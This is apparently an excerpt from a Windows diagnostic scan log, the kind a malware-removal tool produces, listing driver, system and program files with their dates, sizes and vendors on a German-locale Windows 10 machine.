2017-05-12 15:18 - 2017-04-12 08:31 - 00088344 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEG64A.dll
2017-05-12 15:18 - 2017-02-07 05:17 - 00064088 _____ (Synaptics Incorporated) C:\windows\system32\Drivers\Smb_driver_Intel.sys
2017-05-12 15:18 - 2016-08-01 09:42 - 00082544 _____ (Realtek Semiconductor Corporation) C:\windows\system32\RtNicProp64.dll
2017-05-12 15:18 - 2016-07-15 01:27 - 00084480 _____ (Realtek Semiconductor.) C:\windows\system32\RtCRX64.dll
2017-05-12 15:18 - 2016-07-15 01:23 - 04332032 _____ (Realtek Semiconductor Corp.) C:\windows\RtCRU64.exe
2017-05-12 15:18 - 2010-05-26 11:41 - 02401112 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 01998168 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00511328 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00470880 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00276832 _____ (Microsoft Corporation) C:\windows\system32\d3dx11_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00248672 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx11_43.dll
2017-05-12 15:16 - 2017-05-18 07:50 - 04136744 _____ (NVIDIA Corporation) C:\windows\system32\nvapi64.dll
2017-05-12 15:16 - 2017-05-18 07:50 - 03647864 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvapi.dll
2017-05-12 15:16 - 2017-05-03 22:21 - 00175736 _____ (NVIDIA Corporation) C:\windows\system32\nvaudcap64v.dll
2017-05-12 15:16 - 2017-05-03 22:21 - 00057976 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvvhci.sys
2017-05-12 15:16 - 2017-05-03 22:21 - 00048248 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvvad64v.sys
2017-05-12 15:15 - 2017-05-12 15:19 - 00000000 ____D C:\windows\SysWOW64\RTCOM
2017-05-12 15:15 - 2017-05-12 15:15 - 00000000 ____D C:\Program Files\Realtek
2017-05-12 15:14 - 2017-06-06 12:27 - 00000000 ____D C:\ProgramData\NVIDIA
2017-05-12 15:14 - 2017-06-01 22:05 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation
2017-05-12 15:14 - 2017-05-12 15:21 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-12 15:14 - 2017-05-12 15:18 - 00000000 ____D C:\windows\SysWOW64\sda
2017-05-12 15:14 - 2017-05-12 15:18 - 00000000 ____D C:\Program Files (x86)\Realtek
2017-05-12 15:14 - 2017-05-03 17:41 - 00001951 _____ C:\windows\NvContainerRecovery.bat
2017-05-12 15:14 - 2017-05-01 22:51 - 06437312 _____ (NVIDIA Corporation) C:\windows\system32\nvcpl.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 02479552 _____ (NVIDIA Corporation) C:\windows\system32\nvsvc64.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 01762752 _____ (NVIDIA Corporation) C:\windows\system32\nvsvcr.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00548800 _____ (NVIDIA Corporation) C:\windows\system32\nv3dappshext.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00392312 _____ (NVIDIA Corporation) C:\windows\system32\nvmctray.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00081856 _____ (NVIDIA Corporation) C:\windows\system32\nv3dappshextr.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00069752 _____ (NVIDIA Corporation) C:\windows\system32\nvshext.dll
2017-05-12 15:14 - 2017-04-25 23:11 - 07944687 _____ C:\windows\system32\nvcoproc.bin
2017-05-12 15:14 - 2016-08-05 09:11 - 00779232 _____ (Realsil Semiconductor Corporation) C:\windows\system32\Drivers\RtsPer.sys
2017-05-12 15:14 - 2016-07-15 01:40 - 09891328 _____ (Realtek Semiconductor Corp.) C:\windows\SysWOW64\RsCRIcon.dll
2017-05-12 15:13 - 2017-06-01 22:05 - 00000000 ____D C:\ProgramData\NVIDIA Corporation
2017-05-12 15:13 - 2017-06-01 22:05 - 00000000 ____D C:\Program Files\NVIDIA Corporation
2017-05-12 15:13 - 2017-05-12 15:13 - 00000000 ____D C:\windows\Logos
2017-05-12 15:12 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files\Intel
2017-05-12 15:12 - 2017-05-12 15:20 - 00000000 ____D C:\Program Files (x86)\Intel
2017-05-12 15:12 - 2017-05-12 15:15 - 00000000 ____D C:\Intel
2017-05-12 15:12 - 2017-05-12 15:12 - 00000000 _____ C:\windows\system32\GfxValDisplayLog.bin
2017-05-12 15:12 - 2016-11-21 08:25 - 00113664 _____ (Khronos Group) C:\windows\system32\OpenCL.DLL
2017-05-12 15:12 - 2016-11-21 08:25 - 00104448 _____ (Khronos Group) C:\windows\SysWOW64\OpenCL.DLL
2017-04-11 08:32 - 2017-05-12 15:22 - 00000051 _____ C:\windows\smsts.ini
2017-04-11 08:32 - 2017-05-12 15:22 - 00000000 _____ C:\windows\authtest.txt
2017-04-11 08:32 - 2017-01-30 17:39 - 00000000 ____D C:\efi
2017-04-11 08:17 - 2017-05-31 13:35 - 00565416 _____ (Microsoft Corporation) C:\windows\system32\MpSigStub.exe
2017-04-11 08:16 - 2017-05-30 08:02 - 132223576 ____C (Microsoft Corporation) C:\windows\system32\MRT.exe
2017-04-11 08:16 - 2017-05-30 08:02 - 00000000 ____D C:\windows\system32\MRT
2017-04-11 08:13 - 2017-06-06 12:24 - 08830720 _____ C:\windows\system32\PerfStringBackup.INI
2017-04-11 08:13 - 2017-04-11 08:13 - 00000000 ____D C:\ProgramData\USOShared
2017-04-11 08:12 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\XPSViewer
2017-04-11 08:12 - 2017-04-11 08:12 - 00000000 ____D C:\Program Files\Reference Assemblies
2017-04-11 08:12 - 2017-04-11 08:12 - 00000000 ____D C:\Program Files\MSBuild
2017-04-11 08:12 - 2017-04-11 08:12 - 00000000 ____D C:\Program Files (x86)\Reference Assemblies
2017-04-11 08:12 - 2017-04-11 08:12 - 00000000 ____D C:\Program Files (x86)\MSBuild
2017-04-11 08:11 - 2017-02-10 11:26 - 01166520 _____ (Microsoft Corporation) C:\windows\system32\PresentationNative_v0300.dll
2017-04-11 08:11 - 2017-02-10 11:26 - 00124624 _____ (Microsoft Corporation) C:\windows\system32\PresentationCFFRasterizerNative_v0300.dll
2017-04-11 08:11 - 2017-02-10 11:26 - 00035480 _____ (Microsoft Corporation) C:\windows\system32\TsWpfWrp.exe
2017-04-11 08:11 - 2017-02-10 11:21 - 00778936 _____ (Microsoft Corporation) C:\windows\SysWOW64\PresentationNative_v0300.dll
2017-04-11 08:11 - 2017-02-10 11:21 - 00103120 _____ (Microsoft Corporation) C:\windows\SysWOW64\PresentationCFFRasterizerNative_v0300.dll
2017-04-11 08:11 - 2017-02-10 11:21 - 00035480 _____ (Microsoft Corporation) C:\windows\SysWOW64\TsWpfWrp.exe
2017-04-11 08:10 - 2017-06-04 16:53 - 00000000 ____D C:\ProgramData\Package Cache
2017-04-11 08:10 - 2017-05-29 16:19 - 00002766 _____ C:\windows\System32\Tasks\OneDrive Standalone Update Task v2
2017-04-11 08:09 - 2017-03-18 22:56 - 02233344 _____ (Microsoft Corporation) C:\windows\SysWOW64\PrintConfig.dll
2017-04-11 08:08 - 2017-04-11 08:08 - 00000000 ____D C:\ProgramData\Microsoft OneDrive
2017-04-11 08:07 - 2017-05-30 13:21 - 00000000 __RHD C:\Users\Public\AccountPictures
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Public\Documents\Eigene Videos
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Public\Documents\Eigene Musik
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Public\Documents\Eigene Bilder
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Vorlagen
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Startmenü
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Netzwerkumgebung
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Lokale Einstellungen
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Eigene Dateien
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Druckumgebung
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Documents\Eigene Videos
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Documents\Eigene Musik
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Documents\Eigene Bilder
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programme
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\AppData\Local\Verlauf
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\AppData\Local\Anwendungsdaten
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default\Anwendungsdaten
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default User\Documents\Eigene Videos
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default User\Documents\Eigene Musik
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default User\Documents\Eigene Bilder
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programme
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default User\AppData\Local\Verlauf
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Users\Default User\AppData\Local\Anwendungsdaten
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Programme
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\ProgramData\Vorlagen
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\ProgramData\Startmenü
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\ProgramData\Microsoft\Windows\Start Menu\Programme
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\ProgramData\Dokumente
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\ProgramData\Anwendungsdaten
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Program Files\Gemeinsame Dateien
2017-04-11 08:05 - 2017-04-11 08:05 - 00000000 _SHDL C:\Dokumente und Einstellungen
2017-04-11 08:04 - 2017-06-06 12:26 - 00000006 ____H C:\windows\Tasks\SA.DAT
2017-04-11 08:03 - 2017-06-03 23:32 - 00000000 ____D C:\windows\system32\SleepStudy
2017-04-11 08:03 - 2017-06-02 16:41 - 00388560 _____ C:\windows\system32\FNTCACHE.DAT
2017-04-11 08:03 - 2017-04-11 08:03 - 00000000 ____D C:\windows\ServiceProfiles
2017-04-10 16:15 - 2017-06-06 12:24 - 00993848 _____ C:\windows\system32\perfh015.dat
2017-04-10 16:15 - 2017-06-06 12:24 - 00329822 _____ C:\windows\system32\perfc015.dat
2017-04-10 16:15 - 2017-04-10 16:15 - 00343212 _____ C:\windows\system32\perfi015.dat
2017-04-10 16:15 - 2017-04-10 16:15 - 00041370 _____ C:\windows\system32\perfd015.dat
2017-04-10 16:15 - 2017-04-10 16:15 - 00000000 ____D C:\windows\SysWOW64\pl
2017-04-10 16:15 - 2017-04-10 16:15 - 00000000 ____D C:\windows\system32\pl
2017-04-10 16:07 - 2017-06-06 12:24 - 00988174 _____ C:\windows\system32\perfh010.dat
2017-04-10 16:07 - 2017-06-06 12:24 - 00323460 _____ C:\windows\system32\perfc010.dat
2017-04-10 16:07 - 2017-04-10 16:07 - 00000000 ____D C:\windows\SysWOW64\it
2017-04-10 16:07 - 2017-04-10 16:07 - 00000000 ____D C:\windows\system32\it
2017-04-10 16:07 - 2017-04-10 16:06 - 00341166 _____ C:\windows\system32\perfi010.dat
2017-04-10 16:07 - 2017-04-10 16:06 - 00039860 _____ C:\windows\system32\perfd010.dat
2017-04-10 15:57 - 2017-06-06 12:24 - 00606478 _____ C:\windows\system32\perfh00B.dat
2017-04-10 15:57 - 2017-06-06 12:24 - 00251440 _____ C:\windows\system32\perfc00B.dat
2017-04-10 15:57 - 2017-04-10 15:57 - 00288488 _____ C:\windows\system32\perfi00B.dat
2017-04-10 15:57 - 2017-04-10 15:57 - 00040892 _____ C:\windows\system32\perfd00B.dat
2017-04-10 15:57 - 2017-04-10 15:57 - 00000000 ____D C:\windows\SysWOW64\fi
2017-04-10 15:57 - 2017-04-10 15:57 - 00000000 ____D C:\windows\system32\fi
2017-04-10 15:53 - 2017-06-06 12:24 - 00995932 _____ C:\windows\system32\perfh00A.dat
2017-04-10 15:53 - 2017-06-06 12:24 - 00332934 _____ C:\windows\system32\perfc00A.dat
2017-04-10 15:53 - 2017-04-10 15:53 - 00346834 _____ C:\windows\system32\perfi00A.dat
2017-04-10 15:53 - 2017-04-10 15:53 - 00043954 _____ C:\windows\system32\perfd00A.dat
2017-04-10 15:53 - 2017-04-10 15:53 - 00000000 ____D C:\windows\SysWOW64\es
2017-04-10 15:53 - 2017-04-10 15:53 - 00000000 ____D C:\windows\system32\es
2017-04-10 15:40 - 2017-06-06 12:24 - 00634614 _____ C:\windows\system32\perfh006.dat
2017-04-10 15:40 - 2017-06-06 12:24 - 00249368 _____ C:\windows\system32\perfc006.dat
2017-04-10 15:40 - 2017-04-10 15:40 - 00312234 _____ C:\windows\system32\perfi006.dat
2017-04-10 15:40 - 2017-04-10 15:40 - 00041338 _____ C:\windows\system32\perfd006.dat
2017-04-10 15:40 - 2017-04-10 15:40 - 00000000 ____D C:\windows\SysWOW64\da
2017-04-10 15:40 - 2017-04-10 15:40 - 00000000 ____D C:\windows\system32\da
2017-03-20 06:37 - 2017-04-11 08:04 - 00000000 ____D C:\windows\HoloShell
2017-03-20 06:37 - 2017-03-20 06:37 - 00000000 ____D C:\windows\system32\Hydrogen
2017-03-20 06:37 - 2017-03-20 06:37 - 00000000 ____D C:\ProgramData\WindowsHolographicDevices
2017-03-20 06:37 - 2017-03-18 22:59 - 00034390 _____ C:\windows\Core.xml
2017-03-20 06:36 - 2017-03-20 06:36 - 00000000 ____D C:\windows\SKB
2017-03-20 06:36 - 2017-03-20 06:36 - 00000000 ____D C:\windows\OCR
2017-03-20 06:36 - 2017-03-18 07:54 - 02021680 _____ (Microsoft Corporation) C:\windows\system32\wmpmde.dll
2017-03-20 06:36 - 2017-03-18 07:40 - 00276400 _____ (Microsoft Corporation) C:\windows\system32\wmpeffects.dll
2017-03-20 06:36 - 2017-03-18 07:11 - 01339352 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmpmde.dll
2017-03-20 06:36 - 2017-03-18 07:00 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\msdxm.ocx
2017-03-20 06:36 - 2017-03-18 07:00 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\dxmasf.dll
2017-03-20 06:36 - 2017-03-18 06:59 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\spwmp.dll
2017-03-20 06:36 - 2017-03-18 06:59 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\wmerror.dll
2017-03-20 06:36 - 2017-03-18 06:58 - 00214528 _____ (Microsoft Corporation) C:\windows\system32\wmpdxm.dll
2017-03-20 06:36 - 2017-03-18 06:57 - 00249016 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmpeffects.dll
2017-03-20 06:36 - 2017-03-18 06:57 - 00153976 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmpps.dll
2017-03-20 06:36 - 2017-03-18 06:56 - 09261568 _____ (Microsoft Corporation) C:\windows\system32\wmploc.DLL
2017-03-20 06:36 - 2017-03-18 06:56 - 00123904 _____ (Microsoft Corporation) C:\windows\system32\wmpshell.dll
2017-03-20 06:36 - 2017-03-18 06:55 - 00566272 _____ (Microsoft Corporation) C:\windows\system32\quickassist.exe
2017-03-20 06:36 - 2017-03-18 06:54 - 00231424 _____ (Microsoft Corporation) C:\windows\system32\unregmp2.exe
2017-03-20 06:36 - 2017-03-18 06:45 - 13381120 _____ (Microsoft Corporation) C:\windows\system32\wmp.dll
2017-03-20 06:36 - 2017-03-18 06:44 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\spwmp.dll
2017-03-20 06:36 - 2017-03-18 06:44 - 00005632 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdxm.ocx
2017-03-20 06:36 - 2017-03-18 06:44 - 00005632 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxmasf.dll
2017-03-20 06:36 - 2017-03-18 06:44 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmerror.dll
2017-03-20 06:36 - 2017-03-18 06:42 - 00172032 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmpdxm.dll
2017-03-20 06:36 - 2017-03-18 06:41 - 09261568 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmploc.DLL
2017-03-20 06:36 - 2017-03-18 06:41 - 00100352 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmpshell.dll
2017-03-20 06:36 - 2017-03-18 06:40 - 00458752 _____ (Microsoft Corporation) C:\windows\SysWOW64\quickassist.exe
2017-03-20 06:36 - 2017-03-18 06:39 - 00190976 _____ (Microsoft Corporation) C:\windows\SysWOW64\unregmp2.exe
2017-03-20 06:36 - 2017-03-18 06:37 - 12227072 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmp.dll
2017-03-20 06:36 - 2017-03-18 05:00 - 00044032 _____ (Microsoft Corporation) C:\windows\system32\msdxm.tlb
2017-03-20 06:36 - 2017-03-18 05:00 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\amcompat.tlb
2017-03-20 06:36 - 2017-03-18 04:52 - 00044032 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdxm.tlb
2017-03-20 06:36 - 2017-03-18 04:52 - 00018944 _____ (Microsoft Corporation) C:\windows\SysWOW64\amcompat.tlb
2017-03-20 06:35 - 2017-06-06 12:24 - 01460546 _____ C:\windows\system32\perfh007.dat
2017-03-20 06:35 - 2017-06-06 12:24 - 00346380 _____ C:\windows\system32\perfc007.dat
2017-03-20 06:35 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\winrm
2017-03-20 06:35 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\WCN
2017-03-20 06:35 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\slmgr
2017-03-20 06:35 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\Printing_Admin_Scripts
2017-03-20 06:35 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\winrm
2017-03-20 06:35 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\WCN
2017-03-20 06:35 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\slmgr
2017-03-20 06:35 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\Printing_Admin_Scripts
2017-03-20 06:35 - 2017-03-20 06:35 - 00306166 _____ C:\windows\system32\perfi007.dat
2017-03-20 06:35 - 2017-03-20 06:35 - 00040520 _____ C:\windows\system32\perfd007.dat
2017-03-20 06:35 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\sysprep
2017-03-20 06:35 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\de
2017-03-20 06:35 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\0409
2017-03-20 06:35 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\de
2017-03-20 06:35 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\0409
2017-03-20 06:35 - 2017-03-20 06:35 - 00000000 ____D C:\windows\DigitalLocker
2017-03-18 23:37 - 2017-03-18 23:37 - 00000000 _SHDL C:\Users\Default User
2017-03-18 23:37 - 2017-03-18 23:37 - 00000000 _SHDL C:\Users\All Users
2017-03-18 23:06 - 2017-04-29 03:05 - 00835576 _____ (Adobe Systems Incorporated) C:\windows\SysWOW64\FlashPlayerApp.exe
2017-03-18 23:06 - 2017-04-29 03:05 - 00177656 _____ (Adobe Systems Incorporated) C:\windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-03-18 23:06 - 2017-03-18 23:06 - 00000000 ____D C:\windows\Setup
2017-03-18 23:03 - 2017-06-06 11:42 - 00000000 ____D C:\windows\AppReadiness
2017-03-18 23:03 - 2017-06-03 20:29 - 00000000 ____D C:\windows\rescache
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ___SD C:\windows\SysWOW64\F12
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ___SD C:\windows\SysWOW64\DiagSvcs
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ___RD C:\windows\ImmersiveControlPanel
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ___RD C:\Program Files\Windows Defender
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\oobe
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\MUI
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\Dism
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\SysWOW64\Com
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\WinBioPlugIns
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\SystemResetPlatform
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\MUI
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\migwiz
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\Com
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\PolicyDefinitions
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\IME
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\windows\Help
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\Program Files\Common Files\System
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\Program Files (x86)\Windows Photo Viewer
2017-03-18 23:03 - 2017-06-03 20:28 - 00000000 ____D C:\Program Files (x86)\Windows Defender
2017-03-18 23:03 - 2017-06-03 20:27 - 00000000 ___SD C:\windows\system32\F12
2017-03-18 23:03 - 2017-06-03 20:27 - 00000000 ___SD C:\windows\system32\DiagSvcs
2017-03-18 23:03 - 2017-06-03 20:27 - 00000000 ____D C:\windows\system32\oobe
2017-03-18 23:03 - 2017-06-03 20:27 - 00000000 ____D C:\Program Files\Windows Photo Viewer
2017-03-18 23:03 - 2017-06-03 20:26 - 00000000 ___SD C:\windows\system32\dsc
2017-03-18 23:03 - 2017-06-03 00:08 - 00000000 ___HD C:\windows\system32\GroupPolicy
2017-03-18 23:03 - 2017-06-03 00:08 - 00000000 ____D C:\windows\SysWOW64\GroupPolicy
2017-03-18 23:03 - 2017-06-01 17:51 - 00000000 ___HD C:\Program Files\WindowsApps
2017-03-18 23:03 - 2017-05-31 15:09 - 00000000 ____D C:\windows\LiveKernelReports
2017-03-18 23:03 - 2017-05-30 22:02 - 00000000 ____D C:\Program Files\Common Files\microsoft shared
2017-03-18 23:03 - 2017-05-30 12:36 - 00000000 ____D C:\windows\system32\appraiser
2017-03-18 23:03 - 2017-05-30 12:36 - 00000000 ____D C:\windows\ShellExperiences
2017-03-18 23:03 - 2017-05-30 09:52 - 00000167 _____ C:\windows\win.ini
2017-03-18 23:03 - 2017-05-30 09:34 - 00000000 ____D C:\windows\Provisioning
2017-03-18 23:03 - 2017-05-30 07:56 - 00000000 ____D C:\windows\appcompat
2017-03-18 23:03 - 2017-05-13 07:06 - 00028672 _____ C:\windows\system32\config\BCD-Template
2017-03-18 23:03 - 2017-05-12 15:22 - 00000000 ____D C:\windows\system32\WinBioDatabase
2017-03-18 23:03 - 2017-05-12 15:10 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2017-03-18 23:03 - 2017-04-11 08:13 - 00000000 ____D C:\ProgramData\USOPrivate
2017-03-18 23:03 - 2017-04-11 08:09 - 00000000 ____D C:\windows\system32\spool
2017-03-18 23:03 - 2017-04-11 08:09 - 00000000 ____D C:\windows\system32\FxsTmp
2017-03-18 23:03 - 2017-04-11 08:05 - 00000000 ____D C:\Program Files\Windows NT
2017-03-18 23:03 - 2017-04-11 08:04 - 00000000 ___RD C:\windows\PrintDialog
2017-03-18 23:03 - 2017-04-11 08:04 - 00000000 ___RD C:\windows\MiracastView
2017-03-18 23:03 - 2017-03-20 06:37 - 00000000 ____D C:\windows\SystemResources
2017-03-18 23:03 - 2017-03-20 06:37 - 00000000 ____D C:\windows\SystemApps
2017-03-18 23:03 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\setup
2017-03-18 23:03 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\setup
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 __SHD C:\Program Files\Windows Sidebar
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 __SHD C:\Program Files (x86)\Windows Sidebar
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 __RSD C:\windows\Media
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 __RHD C:\Users\Public\Libraries
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\SysWOW64\Nui
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\SysWOW64\Configuration
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\system32\Nui
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\system32\Configuration
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\Downloaded Program Files
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ___RD C:\windows\Offline Web Pages
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ___HD C:\windows\ELAMBKUP
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Web
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Vss
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\tracing
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\TAPI
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\WinMetadata
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\SMI
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\ras
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\NDF
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\MsDtc
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\migwiz
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\MailContactsCalendarSync
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\Macromed
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\Ipmi
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\InputMethod
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\inetsrv
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\IME
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\icsxml
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\GroupPolicyUsers
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\FxsTmp
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\downlevel
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\Bthprops
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\AppLocker
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\WinMetadata
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\winevt
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\SecureBootUpdates
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\ras
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\ProximityToast
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\PointOfService
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\NDF
